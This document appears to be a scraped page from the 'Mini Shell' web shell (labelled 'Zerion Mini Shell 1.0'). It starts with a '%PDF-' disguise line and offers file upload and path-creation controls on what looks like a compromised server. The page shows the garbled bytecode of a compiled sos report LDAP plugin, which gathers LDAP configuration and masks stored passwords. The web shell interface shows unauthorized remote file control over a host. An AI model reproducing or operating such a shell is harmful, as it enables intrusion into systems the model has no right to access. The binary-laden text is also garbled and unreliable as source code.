%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/sos/report/plugins/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/sos/report/plugins/__pycache__/ldap.cpython-312.pyc

�

i��d8��d�ddlmZmZmZmZGd�de�ZGd�dee�ZGd�deee�Zy)	�)�Plugin�RedHatPlugin�DebianPlugin�UbuntuPluginc�4��eZdZdZdZdZdZ�fd�Zd�Z�xZ	S)�LdapzLDAP configuration�ldap)�identity�sysmgmt�systemz/etc/openldap/ldap.confc�L��tt|��|jd�y)N�/etc/ldap.conf)�superr�setup�
add_copy_spec��self�	__class__s ��9/usr/lib/python3/dist-packages/sos/report/plugins/ldap.pyrz
Ldap.setups���
�d�D��!����+�,�c�*�|jddd�y)Nr�(\s*bindpw\s*)\S+z\1******)�do_file_sub)rs r�postprocz
Ldap.postprocs�����)�+?��Mr)
�__name__�
__module__�__qualname__�
short_desc�plugin_name�profiles�	ldap_confrr�
__classcell__�rs@rrrs"���%�J��K�0�H�)�I�-�Nrrc�0��eZdZdZdZ�fd�Z�fd�Z�xZS)�
RedHatLdap)�openldapz
nss-pam-ldapd)r�/etc/pam_ldap.confc���tt|��|jgd��|j	|j
ddddg�|j
d�y)N)z/etc/openldap/certs/passwordz/etc/openldap/certs/pwfile.txtz/etc/openldap/certs/pin.txtz/etc/openldap/certs/*passw*z/etc/openldap/certs/key3.dbz/etc/openldap/certs/cert8.dbz/etc/openldap/certs/secmod.db�/etc/nslcd.confr'zcertutil -L -d /etc/openldap)rr%r�add_forbidden_pathrr!�add_cmd_outputrs �rrzRedHatLdap.setup!s\���
�j�$�%�'����!
�	�	
����N�N�*�+�� �
�	�	
���:�;rc�^��tt|��dD]}|j|dd��y)N)r)r'r�
\1********)rr%rr)r�frs  �rrzRedHatLdap.postproc4s6���
�j�$�(�*�:�	�A�����$��
�	r)rrr�packages�filesrrr"r#s@rr%r%s���,�H�4�E�<�&�rr%c�0��eZdZdZdZ�fd�Z�fd�Z�xZS)�
DebianLdapz/etc/ldap/ldap.conf)�slapdz
ldap-utilsc���tt|��d}|j|jdddg�|jd�|j|dzd��|j|d	zd
��|j|dzd��y)
Nz,ldapsearch -Q -LLL -Y EXTERNAL -H ldapi:/// z/etc/slapd.confz/etc/ldap/slapd.dr)z+ldapsearch -x -b '' -s base 'objectclass=*'z/-b cn=config '(!(objectClass=olcSchemaConfig))'�configuration_minus_schemas)�suggest_filenamez-b cn=schema,cn=config dn�loaded_schemasz0-b cn=config '(olcAccess=*)' olcAccess olcSuffix�access_control_lists)rr2rrr!r+)r�ldap_searchrs  �rrzDebianLdap.setupCs����
�j�$�%�'�D������N�N����	
�	�	
���I�J�����K�K�:�	�	<�	
����5�5�-�	�	/�	
����L�L�3�	�	5rc�v��tt|��|jddd�|j	ddd�y)Nr)rr-�
ldapsearchz(olcRootPW\: \s*)\S+)rr2rr�do_cmd_output_subrs �rrzDebianLdap.postprocZs@���
�j�$�(�*����� ��	
�
	
����#��	
r)rrrr!r/rrr"r#s@rr2r2>s���%�I�&�H�5�.
�
rr2N)�sos.report.pluginsrrrrrr%r2�rr�<module>r?s;��P�O�
N�6�
N� ��|��D'
��|�\�'
r

Zerion Mini Shell 1.0